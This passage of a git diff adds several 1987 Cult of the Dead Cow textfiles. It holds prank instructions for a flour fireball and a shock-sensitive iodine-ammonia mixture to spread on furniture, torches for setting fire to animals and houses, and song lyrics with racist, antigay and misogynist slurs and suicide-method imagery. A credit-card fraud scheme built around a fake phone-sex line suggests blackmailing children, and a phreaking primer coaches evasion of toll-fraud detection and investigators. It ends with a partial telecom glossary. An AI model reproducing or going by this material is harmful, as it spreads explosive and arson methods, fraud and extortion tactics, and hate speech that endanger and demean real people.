paper, brazening torch, flesh, whatever, just something that's gonna +burn for a while. + + Now, whenever some poser fag walks by, or you find one, you activate your +air....there goes the flour. "Big shit," you say, "so there's flour around." +Ah yes, but flour is flammable. So when it passes through the flame, it +makes pretty orange and red lights. And, you can make this entirely out of +things in the kitchen. Funfunfun... + + :::> Iodine Crystals <::: + + I love this one, because it's easy to make and works effectively. +Either from "Edmund Scientific" mail-order or some lab you can get a +large jar of iodine crystals. Now take some ofthese iodine crystals and mix +them in a coffee can with ammonia. Let it sit for an hour, then pour it over +an area. When this substance dries out, it becomes shock-sensative. +Put in in a chair, in the hallway, on desks, in keyholes, pencil sharpeners, +disk drive heads, all over keyboards... + + :::> Electronic Torches <::: + + These beauties are way cool when you are out walking around at night. +You need a paper tube, like the type that wrapping paper comes on. Take the +tube, and stuff the top with newspaper and cotton. Use the starter switch +system (first of file) or whatever to start this, and set fire to things. +Yes, with a wave of your arm, you too can ignite dogs, houses, parents... + Just like Satan! + + + In closing, remember to have fun and watch for pigs... + +=============================================================================== + (c)1987 cDc communications by Dial Tone 12/0/87-24 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0025.txt b/textfiles.com/groups/CDC/cDc-0025.txt new file mode 100644 index 00000000..e32dfd88 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0025.txt @@ -0,0 +1,663 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + METHOD OF DESTRUCTION + U.S.A. for M.O.D. + + Compliments of Swamp Rat + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + Yes, Milano has some assholic opinions, and some good ones...but good music. + That's the way it goes... + -S. Ratte' 12/16/87 + +------------------------------------------------------------------------------- + +--AREN'T YOU HUNGRY + +Sitting in my kitchen +Stuffed from having ate +What should I do now +With what's left on my plate + +Maybe I should save it +But naw I got the cash +Think I'll take the easy way +And throw it in the trash + +U.S.A. for Africa +What a fucking scam +Charity begins at home +What about our land +America has it's own problems +That's what should come first +So fuck those nigger's charity +And let them die of thirst + +AREN'T YOU HUNGRY +AREN'T YOU HUNGRY + +U.S.A. for U.S.A. +That's what I'd like to see +But sympathetic assholes +Send it all to their own countries +They want the food to grow +On what they call home land +But don't you know +You can't grow anything in sand + +AREN'T YOU HUNGRY +AREN'T YOU HUNGRY +AREN'T YOU HUNGRY + +I think of people starving +But do you think I care +Let them all die hungry +So I can breathe their air + +Sitting in my kitchen +Stuffed form having ate +What should I do now +With what's left on my plate + + +--GET A REAL JOB + +Standing on a corner +Frozen to the bone +You have to make a living +But you'd rather be at home +Your eyes start getting heavy +Still you forge on +Wake up and face the world + +AND GET A REAL JOB +GET A REAL JOB + +You get a little older +Your bones are brittle and weak +Dizzy in the morning +Your pulse is sounding weak +You hate to go to work +Just living for a job +Wake up and smell the coffee +And get a real job + +GET A REAL JOB +GET A REAL JOB +GET A REAL JOB +GET A REAL JOB + +Soon you will retire +Or maybe have a stroke +You cannot feel your finger tips +Because some veins have closed +But still you drive a hack +Or push a hotdog cart +Now it's too late for you +To get a real job + + +--I EXECUTIONER + +I executioner +There's just me +You can't buy justice +And it sure ain't free +I executioner +Like Sargeant 'D' +I'm corporal punishment +I weed out the weak + +I excecutioner +One on one +You and me +You've no place to run +I executioner +We got a date +My fist your face + +How I love to hate + +There's no justice +There's me +There's no justice +There's me + +I executioner +You dare fuck with me +Say it to my face +Either way you'll bleed + +I executioner +The king of schism +Misery and pain +Is what you'll live in + + +--DON'T FEED THE BEARS + +You have to prove +That you're not scared +Enter the cage +Take the dare +Screaming death +In the beast's lair +You couldn't read the signs +DON'T FEED THE BEARS + +Don't go in there +You best beware + +Don't feed the bears + +Stupid fool +You should have known +That's some place you shouldn't go +Polar giant on you +Blood starts to flow +They belong not in a cage +But in the fucking snow + +Don't go in there +You best beware + +And please don't feed the fucking bears! + + +--BALLAD OF DIO + +In the dark of the day +Or the black of the sun +He's coming for you + +Look out! + + +--THRASH OR BE THRASHED + +I've seen enough +I just can't take it +Why don't you mosh +Or have an epileptic fit +You stand there like you're at a parade +Call this your scene +But you're the one who betrayed +Got your feet glued to the floor +Just there and thrashed some more + +You're the fuckup, a dick to the extreme +It's people like you +Who make me want to scream + +Thrash or be thrashed + + +--LET ME OUT + +Aren't you sick of the way you're living +Let down in life without being forgiven +Struggle for a future +You try to survive +Put on this world to rot and die + +Let me out + +Let me out me out +Me out of this world +Tell me how I got here +Why don't you say a word + +Let me out me out +Me out of this world +Tell me how I got here +Why don't you say a word + + +--BUBBLE BUTT + +Bubble Butt +Bubble Butt +Bubble Butt +Bubble Butt +Bubble Butt +Bubble Butt +She's so fat +Bubble, bubble, bubble, bubble +Bubble, bubble, bubble, bubble +Bubble Butt + + +--YOU'RE BEAT + +Start up the car +You ain't going very far +Stick the rubber hose on the exhaust + +Breathe that fresh air +It'll take away your cares +You're beat the game is over +And you've lost + +Y.B........ +You're beat +Before you start +You cry defeat + +Sitting in the bathroom +With the razor at your wrist +You mom and dad don't like +The dudes you're hanging with +They say that you're a loser +A disgrace to human kind +If I were you I'd end it all +Before I lost my mind + +Y.B...... +You're beat +Before you start +You cry defeat + + +--BUSHWACKATEAS + +Is that your hair or a Tina Turner wig +You should be ashamed of yourself +Now you shaved your head, +And that's a fashion too +With your ears you look like an elf +Bush-bush wackateas! + + +--MAN OF YOUR DREAMS + +You thought he was dead +It was just in your head +You better get ready for Freddy + +You thought you saw him die +But it's you who's crucified +So now you'll pay for his sins + +He'll come while you sleep +You're gonna rest in peace +He's in the mirror hanging on the wall +He'll rip out your chest +Your body he'll molest +Then laugh and use your blood +To paint the walls + +First he kils one +Then he kills two +Number three on his list is you! +He's the man of your dreams +He lives to hear you scream +That's his satisfaction guaranteed + +You thought you'd escape +You felt that you were safe +Then you felt his blade +Around your neck +He'll dice up your throat +On your blood you'll choke +None of this Freedy Kreuger will regret + + +--CAPTAIN CRUNCH + +Soggies suck + +I was sitting up at night +I was feeling so uptight +I was just fucking around +There was something dragging me down + +Thinking of a bite to eat +Thought this would be really neat +Cheerios are stale that's beat +But Captain Crunch is fun to eat + +Captain Crunch, Captan Crunch +He's inviting you to munch +Captain Crunch, Captain Crunch +Munch a bunch a munch a munch + +Fuck my brain + +Scoffing down this yellow wheat +Is making me feel kind of beat +My head is spinning round and round +Now my teeth are turning brown + +My face is starting to come apart +From this overdose of starch +I really wish mom wasn't here +I'll have another box of beer + +Captain Crunch, Captain Crunch +He's inviting you to munch +Captain Crunch, Captain Crunch +Munch a bunch a munch a munch + + +--JIM GORDEN + +Jim Gorden, the man who was insane +Jim Gorden, had Glaxo in his brain + +Jim Gordon was insane +He took his mother's life +He used the hammer first +So she wouldn't feel the knife +He's gone insane +He's lost his mind + +The voices in his head +Prove the bastard nuts +He bashed his mother's head in +Because she killed Paul Lynd + +He couldn't play the drums +Cause people moved his hand +Was he just a mad man +We may never understand +He's gone insane +He's lost his mind + +The voices in his head +Prove the bastard nuts +He bashed his mother's head in +Because she killed Paul Lynd + +MOSH + +Jim Gorden was insane +He took his mother's life +He used the hammer first +So she wouldn't feel the knife + +He's gone insane, he's lost his mind +He couldn't play his drums +Cause people moved his hands +Was he just a mad man +We may never understand + + +--IMPORTED SOCIETY + +They came from the other side +In bunches at a time +Crowding up the neighborhood +To raise the rates of crime + +Some of them got money +Most of them got shit +All they do is come here +To take from our pockets + +Import, import, imported society +Import, import, imported society +Import, import, imported society +Import, import, imported society + +Don't you fucking see +That you bother me +Genocide +You can't hide + +So go home now +Don't come back +Take your goat +Get on your boat +I hate imports +I don't want to hear their shit +I hate imports +Cause I'm just so sick of it + +I just want to +Live my life without you fucking assholes +And I want to +Never see your ass again + +Import, import, imported society +Import, import, imported society +Import, import, imported society +Import, import, imported society + +Hindus and Ethiopians +You know they're all the same +A huck a buck of Indians +They're all so fucking lame + + +--SPANDEX ENORMITY + +Waiting here on line +Suddenly from behind +She's still a block away +Why'd it have to be today +Now what do I see +She recognizes me +She hugs and squeezes me +She's the Spandex Enormity + +She's so sweet when she's yanking on my meat +Then she yells is this trick or treat +It's too late she asks me for a date +Before I'd fuck I'd rather masturbate +Spandex, Spandex Enormity +A beast sent from Hell to plague me with misery + +What a fucking beast +Her ass alone would be a feast +And her love drippings +Contained a stench of rotted yeast +The show must go on +It's the end of me +Taking up the whole front row +It's the Spandex Enormity + +She's so sweet when she's yanking on my meat +Then she yells is this trick or treat +It's too late she asks me for a date +Before I'd fuck I'd rather masturbate +Spandex, Spandex Enormity +A beast sent from hell to plague me with misery + +As we were walking off stage +You're waiting to come back +She's got a back stage pass +Oh no +I hide my head +The sight of you I dread +Her chubby little fingers grab my ass +Don't talk to me, talk to Nick, talk to Nick +Why does it always have to be me +You fucking fat bitch +I've had enough of you +Take your blubber buns and leave +She left here in tears +Followed by her rear +I could not help she's fat + +She's so sweet when she's yanking on my meat +Then she yells is this trick or treat +It's too late she asks me for a date +Before I'd fuck I'd rather masturbate +Spandex, Spandex Enormity +A beast sent from Hell to plague me with misery + + +--SHORT BUT SWEET + +Short but Sweeeeet! (wooo) + + +--PARENTS + +Parents +They deprive +They diminsh our time + +Mother-father +Wish I was dead +Could have been cum on their bed + +Put me in this world +Gave me a little +The rich fucking bastards +Didn't care at all + +Wish I were dead +I'm better off alone +I don't need their raggin' +Anymore + +Turn that down +That noisy music +Go to bed +And leave me the fuck alone + +That's all they say +And all they do +Get me out of this place +Can't take it anymore + +Wish I were dead +I'm better off alone +I don't need their raggin' +Anymore + + +--A.I.D.S. + +You're accused of the following charges +You're a woman trapped inside a man +Your sexuality no one denies you +But your preference we can't understand +You are the lonliness of all people + +It's time for you to realize +AIDS like the plague is from God +For he sees something wrong in his eyes + +Analy Inflicted Death Sentence +A.I.D.S. +Analy Inflicted Death Sentence +A.I.D.S. +Analy Inflicted Death Sentence +A.I.D.S. +Analy Inflicted Death Sentence +A.I.D.S. + +That's what you get for having +A penis up your ass +You should have used a condom +That's what you get when you +Swallow another man's load +A lubricated condom + +How do you find love in another man's hairy ass +You should have used a condom +Millions of lost hamsters +Running ramped in your bowels +Take the Hershey Highway + +Fudge packing men +Fudge packing men +Fudge packing men +Fudge packing men +A manly man +Fudge packing men +Fudge packing men +Fudge packing men + + +--RUPTURED NUPTUALS + +I bust my balls +I break my back +To come home to a slut +You broke your vows +You dirty bitch +I'll kick you in the cunt + +Ruptured Nuptuals + + +--ODE TO HARRY + +Harry got in his car +And turned the key +Started up and headed up the L.I.E. +Too cheap to get a real car +Had a Volkswagon Rabbit +And that put an end to Harry's cheap habit +Cause the trucker couldn't stop +So the driver just took aim +And when he hit Harry +Harry burst into flames +You're dead now Harry +And you can't come back +You'd still be alive if you drove a Cadillac + + +--HATE TANK + +When you see it coming +The shit runs down your leg +A rumble of disaster +It's much too late to beg +You didn't heed its warning +As it's parked on top of your house +Your baby's crushed to pulp +You're cornered you cry out + +The Hate Tank +The Hate Tank +The Hate Tank +The Hate Tank + +Its treads are stained with blood +Of victims who had pride +Some thought they'd defy it +All of them have died +Destruction in its wake +The mangled corpses rot +If you think you'll survive... NOT! + +The Hate Tank +The Hate Tank +The Hate Tank +The Hate Tank + +Here it comes, you better start running +Here it comes, you better start running + +The armored shell coroded +From blood that now is dry +Markings left to signify +The deaths of many lives +Through many years of silence +Breaks a horrifying sound +You turn to look in disbelief +He's come to hunt you down + +The Hate Tank +The Hate Tank +The Hate Tank +Hate Taaaaaak! + +=============================================================================== + (c)1987 cDc communications by Swamp Rat 12/16/87-25 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0026.txt b/textfiles.com/groups/CDC/cDc-0026.txt new file mode 100644 index 00000000..01ee254e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0026.txt @@ -0,0 +1,121 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + THE PHONE SEX SCANDAL + + by L.E. Pirate + + Tested by Dial Tone and Lightning Phantom + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Ever called a phone sex line? Moaning and groaning of sensual + pleasures for only 20-45 bucks, and memberships? Well. As I called one + to tape (to play over the school P.A. system) I thought about one of the + best credit card scams I have thought of in awhile. + + + The Scandal: + + The only way your are going to be able to pull this off is if you + have call waiting (this is a necessary for the 1st type of phone sex scam), + or a Voice Mail System (this is easy, but it is harder to get the cards + out of the perverted ones). + + + Sub-Section #1 : Call Waiting + ----------------------------- + + Materials Needed + ---------------- + A Phone with TONE dialing (that PULSE shit ain't gonna cut it!) + Call Waiting (of course) + The number to the BEST phone sex line you can get (live convo's ONLY!) + A good phreak (unless you live in LA where all the good ones are) + A good MC/AMEX/VISA card (the sex line must carry all of those) + + Setting it up + ------------- + + Using one of the cards, advertise in Penthouse Forum, Club, X Rated + Porn Stars, or any other porno mag that is semi-hardcore and carries the + sex line ads and card an advertisement. Have it run for a few weeks + (send in a picture and shit for the ad, they will tell you all about it). + You should get a different phone line that can be easily disconnected + by Ma Bell so the feds don't come a runnin' and the perverts don't keep + calling back. When the guys (or girls) call to "have sex", you simply + answer the phone "Triple X Hardcore Porn Line, may I help you?" Go for + a big ass ad in the mag, since you're not paying for it anyway. Ask for + the person's credit card type, card #, expiration, bank number, name, etc. + Don't ask too much personal information, you do not want them to hang up + on you. Then after they give you the information, say "please wait". + Next, dial the >GOOD< porn line and give THEM the information the person + gave you (act as though you are them). Just before the chick comes on, + hit the button and stick the dude online, say "enjoy!" Don't hang up, + you will disconnect them (on some phones). I have also found that if you + record them, you can exploit it to the maximum (if they are kids, tell + them to give you all their parents cards or you will send the tape to mommy + and daddy). You know have a good card, (if it has enough money on it for + the line you just called!), go out and have fun. That is just 1 way to do + it. + + Sub-Section #2 : Voice Mail Systems + ----------------------------------- + + Get ahold of a voice mail system, the kind you just dial up and answers + like an answering machine (the Dragonfire one is 415-227-5618, call it for + an example). Set up the message (get your girlfriend to do this, or if + you are a geek and have a squeaky voice, go for it!) to say something like + this "Welcummmmm, tooooo Pandora's Hardcore Triple X CUM Again Porn Line, + Please leave your name, number, credit card type, card number, expiration + date, bank number, and anything you'd like to talk about. We will call you + back in 2 hours. If this is inconvienent, please hang up and call when it + is not. Otherwise, you will be getting the hottest head in LA,SF,Trenton, + Lubbock, etc. Thank you for calling, mmmmmmmmmmm." BEEP. This way is a + piece of shit way since it is so fucken inconvienent. You would be lucky + if you got 2-3 cards in a week. But it's better than nothing. Remember, + using this way, you don't do shit! You do not have to call the guy back. + You got his card, why give him the merchandise? Heh. + + + + I would like to thank ME, Lightning Phantom, Dial Tone, The Traxster, + Fry Guy, Surf Monster (for being such a good sport on our AT&T bust gag!), + Swamp Ratte', Brain Tumor, Psychedelic Warlord, Spike Jodus, The Bronze + Rider, The Blade, The Metallian, The Rocker, The Ronz, Egyptian Lover, + Vlad The Impalor, Terroristic Smurf, Ax Murderer, Doc Holiday, The Disk + Jockey (king of carding? we'll give him that title as an xmas gift, ok?), + and anyone else who has an ego big enough to add their name to that list, + do it and die. I would like to state that credit card fraud is a serious + offense under the constitution of the united states (i forget what amendment, + but ya know, the one reagan made a year or two back). I am not liable for + what you do with this, and I am in no way responsible for your actions with + voice mail systems and false advertising. This file is for informational + and educational purposes only (they all say that!) and should not actually + be used. I had a brainstorm, I put it on text file, that's it, ok? + + + Make your life worth living, call these systems... + + + Dragonfire Private...1200 only.......[609/424-2606] Black September HQ + Hard Rock Cafe'......................[201/362-6304] Soon to be Private. + Nuclear Escape.......................[215/540-9811] Nice big SuperTac. + Demon Roach Underground..............[806/794-4362] Users, support it! + Castle Catatonic and Cellulite Spa...[806/794-1842] ^^Same there, bud^^ + Metal AE.....PW=KILL.................[201/879-666-8] A nice, fuzzy, AE. + Black September/Dragonfire VMS.......[415/227-5618] Leave Dial Tone a msg + +=============================================================================== + (c) 1987 cDc communcations by L.E. Pirate 12/0/87-26 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0027.txt b/textfiles.com/groups/CDC/cDc-0027.txt new file mode 100644 index 00000000..54585e98 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0027.txt @@ -0,0 +1,149 @@ + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Frankie's Fireside Phreak Primer + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A few words of advice that apply to phreaks every- + where. Whether a telecom veteran, or a K0dez Kid, + the following guidelines may keep you out of trouble + and make life in the Computer Underground a little + more pleasant. Brought to you by the CULT, o'course. + + + >> A CULT Publication by High Priest and Scribe, Franken Gibe << + -cDc- Cult of the Dead Cow Dissemination Council -cDc- + + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + +I think we could all use a little refresher on Phreak Safety and Hygiene. It +seems that phreaks are getting more and more careless...and it's when you think +you can't get caught that...yeah: You do. Most of you know these, or think +about them occasionally, but try to put the following stuff into practice. A +Safe Phreak is an Informed Phreak; A Safe Phreak is a Phreak who Respects the +Telecom Medium. Those are trite epigrams, but very true. + +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= + + +1) Due to the proliferation of Traffic Pattern Monitoring software among +independent carriers, it is DEADLY to scan. If you must scan, NEVER use big +name IC's (notably MCI [Real Time Toll Fraud Detection System], U.S. Sprint +[those 950's are NOT fun-and-games], etc). If you MUST scan, remember these +few commandments: + + A) Thou shalt never scan sequencially. + B) Thou shalt never scan in predictable or detectable patterns. + C) Thou shalt never scan a single access port all night, in closely-spaced + increments. +Best not to scan. Best to have some little kid who doesn't know you scan. + + +2) Alternate codes as MUCH as you can. Using a code-a-call isn't a bad idea if +you have those kinds of resources. Coupled with the no-scanning doctrine, +though, notebooks full of codes will not be so common. + + +3) This is the important corollary to number 2...NEVER EVER EVER overuse +codes, nor use codes that you've abused earlier in a given month later on +in the same month (generally, after the 20th, when d'bills start to roll out). + + +4) Do as MUCH remote phreaking as is humanly possible. If you can roll your +computer out to some fortress fone, and hook up an acoustic coupler, AND not +attract attention...Go for it. (Heck, I'd do it!) + + +5) Local access ports and AT&T WATS access ports are generally safer than +950's. WATS #'s owned by Ind. Carriers are DEADLY. Here's a little list of +advantages and disadvantages of all the above... + + A) Local Access Ports: Depending on the size of the LDS, these ports can be +more or less safe. Almost NEVER have any sort of ANI hooked up, but if abuse +becomes notable, they CAN install an incoming trap, discover a phreak's +Central Office Code, and then put an outgoing trap in his CO. After that, it's +only a matter of time. Traffic Pattern software can give an LDS a good idea of +what action it needs to take. + + B) AT&T WATS numbers: Not a free ride by ANY means, but generally pretty +safe. According to No Severance, AT&T WATS lines receive no ANI information. +Like the local ports, the area from which a phreak is calling can be +determined, but abuse would have to be pretty dramatic. Between local and AT&T +WATS, I'd take WATS ("But what about the 800 Excessive Calling List?" Well, if +it exists, then it's best not to use WATS too much...i.e. Do NOT Scan). + + C) Most 950's are safe, contrary to popular belief. There are a number of +Feature Groups into which these numbers fall. I don't really remember what they +are, and it doesn't really matter. I just wouldn't be too anxious to use these +'cause they're sorta bizarre, and they're VERY abused (never a good thing). But +if you must, it's better than... + + D) Independent Carrier-Owned WATS numbers: God, DO NOT use these. When an IC +owns its own carrier, it receives KP + II + 10Dig (YOUR phone number) + ST. +In other words, these guys are generally ANI equipped. How can you tell? +Well, if you've got an 800 access port, and the exchange is NXX (i.e., +you've got a number :1-800-NXX-XXXX), then FIRST dial 1-800-NXX-0000. If you +get the "You have reached the AT&T Long Distance Network" recording, the # is +AT&T. If you get a "Your call cannot be completed " recording, DO NOT use +that WATS number. Simple. + + +6) [or whatever number...sigh] PLEASE...for your own good, and that of +Phreakdom, DO NOT advertise what you do. Yeah, some kids at school might think +it's pretty k-radical. Those same kids are the ones to nark, or to mention +stuff to the friendly administrators should they ask around. The less +non-phreaks know the better. Keep your MOUTH SHUT. + +That reminds me of poor Disk Demon [of 915]. The kid really wasn't expecting +trouble, but he made the fatal mistake of talking: probably to someone he +trusted, and probably he didn't say much. All he mentioned was bringing a +pirated disk to school the next day over the phone which was all the cops +needed to search his house, and bam...they have him with telecom fraud +evidence. The cops don't need much to get a warrant to monitor your telfo. It's +a scary reality in a nation that takes less and less seriously the Bill of +Rights. + + +8) NEVER phreak voice calls. Sigh. I know, I'm sure there are a thousand +screams of "Oh, COME ON, that's going too far". Okay, let me qualify that, +then. Voice-phreak only if you're 1) sure you're not monitored (and who is +ever sure?) and 2) know that the recipient can handle possible threats and +unpleasantness from the friendly operator who may give him a buzz. Feds and +investigators ain't stupid...or at least, not THAT stupid. As long as no one +admits anything, it's okay. But the minute you start voice-phreaking, you open +a lot of loose ends. Some suggestions, then, for voice phreaking: + + A) Try to remain anonymous. Not too hard. + B) IF you're talking to strangers, don't mention where you're calling from, + much less leave a number. Yeah, just common sense. + C) Don't talk about phreaking over the line if you don't think the line is + secure. Duh! + D) If you trust the kid you're calling, tell him you've phreaked a call to + him. Ask him if it's "cool". Make sure he can handle possible (and + usually improbable) inquiries. Make sure his 'rents know NOTHING. + + +9) That's another thing. This doesn't have to do with safe phreaking, but with +keeping phreaks safe. Know what you'll say if you ever get called by an +operator or investigator type. If you have a bbs or data line, great. If not, +have a story ready and rehearsed. When you think about it, it IS kinda hard for +these people to believe that you don't know WHO called you for 5 hours last +Sunday night...be prepared. (Ee! Boy scouts rule.) + + +Okay, that's it for for now. If you have any more suggestions, leave me mail +on > A CULT Publication by High Priest and Scribe, Franken Gibe << + -cDc- Cult of the Dead Cow Dissemination Council -cDc- + +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Cable Fill The percentage of pairs in a cable sheath actually + ~~~~~~~~~~ assigned and used. + + Cable Vault An area, generally on the lower level of the telco, + ~~~~~~~~~~~ where cables enter the building. + + Call Forwarding + ~~~~~~~~~~~~~~~ + One of those amazing custom calling services. When call forwarding is + activated by a customer, all calls to that line are automatically routed + to another line designated during activation. [C.F. is ESS's answer to + the diverter] + + Call Store + ~~~~~~~~~~ + The equipment unit of an Electronic Switching System that provides temporary + memory storage of information pertaining to call processing & maintenance. + + Call Waiting + ~~~~~~~~~~~~ + The custom calling service adored by millions that provides a tone burst + to a customer on an established call when a second call has been directed + to that line. The notification tone is heard only by the called customer, + whereas the incoming caller hears regular ringing. The customer can place + the existing call on hold, connect to the calling party, and then repeat + the procedure to reestablish the original connection. This operation can + be done ad nauseum. [See File on the Call Waiting Tap...available to some] + + CAMA See Centralized Automatic Message Accounting + ~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + CAMA-ONI See CAMA- Operator Number Identification + ~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Carried Load + ~~~~~~~~~~~~ + (1) The load you tote around on the Big Date, and try to control [eew!] + + (2) The average number of calls that are in progress. The unit, one call, + is called...shucks, y'know this...an Erlang. + + Carrier System + ~~~~~~~~~~~~~~ + A system for transmitting one or more channels of information by processing + and converting to a form suitable for the transmission medium used by the + system [got that?]. Many information channels can be carried by one broad- + band carrier system. Common types of carrier systems are frequency-division, + in which each info. channel occupies an assigned portion of the frequency + spectrum, and time-division, in which each info. channel uses the trans- + mission medium for periodic assigned time intervals. + + Carterfone Decision + ~~~~~~~~~~~~~~~~~~~ + The MONUMENTAL decision made by the FCC in 1968 to the effect that telco + customers should be allowed to connect their own equipment (i.e. + DATA MODEMS) to the public telenetwork provided that this interconnection + not adversely affect the telco's operations or the utility of the tele- + phone system to others. Prior to this wonderful decision, only telco + provided equipment could be hooked up to the network. Let's take a + few moments to thank the Modem Deity for Equal Access. + + CCH See Connections per Circuit Hour + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + CCIS See [yawn] Common Channel Interoffice Signaling + ~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + CCITT See Intl. Telephone & Telegraph Consultative Committee + ~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + CCS See Hundred Call Seconds + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~ + + CCSA See Common-Control Switching Arrangement + ~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + CDO See Community Dial Office + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~ + + Central Office (CO) + ~~~~~~~~~~~~~~~~~~~ + (1) An Overrated Bulletin Board System. + + (2) A switching system that connects lines to lines and lines to trunks. The + term is more often used to refer to the telco building itself in which + a switching system is located and to include other equipment (such as + transmission system terminals) that may be located in such a building. + + Central Office Code + ~~~~~~~~~~~~~~~~~~~ + A 3-digit identification number under which up to 10k station codes are + subgrouped. Exchange area boundaries are associated with the CO code which + accordingly has billing significance. Note that SEVERAL CO codes may be + served by a single CO. Also called NNX code...the prefix...the exchange. + + Central Office Work Order + ~~~~~~~~~~~~~~~~~~~~~~~~~ + An order for work to be done in the operating company to make or change + equipment assignments for switching system line or trunk access. + + Centralized Automatic Message Accounting (CAMA) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + (Phantom Phreak's Phavorite...) A process using centrally located + equipment, including a switchboard or a traffic service position, + associated with a tandem or toll switching office, for automatically + recording billing data for customer-dialed extra-charge calls originating + from several local central offices. A tape record is processed at an + electronic data processing center. + + Centralized Automatic Message Accounting- Operator Number Identification + (CAMA-ONI) Operator + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + An operator located at a position that is connected temporarily on a + customer-dialed station-to-station call. The operator secures the calling + number from the customer and keys the number into the centralized + automatic message accounting equipment. + + Centralized Intercept Bureau (CIB) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + That type of bureau that is part of an Automatic Intercept System and is + associated with one or more automatic intercept centers. It provides + facilities whereby operators situated at auxiliary service positions + furnish assistance to calling customers whose calls have been intercepted + and who require help beyond that furnished by the auto. intercept center. + + Centrex + ~~~~~~~ + A service for customers with many stations that permits station-to-station + dialing, one listed directory # for the customer, direct inward dialing + to a particular station, and station identification on outgoing calls. + The switching functions are performed in a central office. + + Channel + ~~~~~~~ + A transmission path between two points. The term channel may refer to a + one-way path or, when paths in the two directions of transmission are + always associated, to a 2-way path. It is usually the smallest subdivision + of a transmission system by means of which a single type of communication + service is provided, i.e., a voice channel, teletypewriter, or data channel. + + Channel Bank + ~~~~~~~~~~~~ + Channel terminal equipment used for combining (multiplexing) channels on a + frequency-division or time-division basis. Voice channels are combined into + 12- or 24-channel groups. + + Channel Busy Tone + ~~~~~~~~~~~~~~~~~ + An audible signal indicating that a call cannot be completed because of + trunk or switching system blocking. The tone is applied 120 times per + minute. Also called fast busy or (the ever-popular reorder) tone. + + CIB See Centralized Intercept Bureau + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Circuit + ~~~~~~~ + (1) A communication path between two or more points. + + (2) A network of circuit elements, such as resistors, inductors, capacitors, + semiconductors, etc., that performs a specific function. + + (3) A closed path through which current can flow. + + (4) A term no 'philter' would ever dream of asking. + + Circuit Order + ~~~~~~~~~~~~~ + The document used to transmit engineering design of a public telephone + network trunk or special-service circuit to the department that + implements the design. (Good Social Engineering term...) + + CLASS See Custom Local Area Signaling Service + ~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Class 5 Office + ~~~~~~~~~~~~~~ + A local central office that serves as the network entry point for station + loops and certain special-service lines. Also called an end office. Other + offices, classes 1,2,3, and 4, are toll offices in the telenetwork. + + CO See Central Office + ~~ ~~~~~~~~~~~~~~~~~~ + + Code + ~~~~ + (1) Any of a wide variety of schemes for representing info. such as a color + color code for values resistors, Morse code for telegraphy, and a ZIP + code for a mail address. + + (2) A system of rules for representing information by digital signals such + as teletypewriter code. See ASCII (Vol. I). + + (3) A numbering system for telephone addresses. See Central Office Code, + Station Code, and Number Plan Area. + + (4) A set of standard abbreviations for equipment and facility names. See + Common Language Code. + + (5) A set of rules for representing the amplitude of a signal sample by + digital signals. See Pulse Code Modulation. + + (6) The least impressive achievement or possession of the common phreak. + See also Codezz, Kodezz, K0dezz, etc. + + Coded Ringing + ~~~~~~~~~~~~~ + A form of semiselective ringing. The customer is required to identify his + own code by the number of rings and/or their duration. A variation of + coded ringing is one of the CLASS services. + + Coherent + ~~~~~~~~ + (1) Something the CULT is not very often. + + (2) Refers to a fixed phase relationship that provides certain advantages + in signal detection. + + Coherent Modulation System + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + (For the SERIOUS amongst you)...A modulation system that requires a carrier, + either transmitted or locally derived and having the same frequency and + phase as that associated with the received signal, for recovering the + original modulating signal. + + Coherent Phase-Shift Keying (CPSK) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Modulation techniques for transmitting digital info. in which that info. + is conveyed by selecting discrete phase changes of the carrier relative + to a reference. See Coherent Modulation System or a 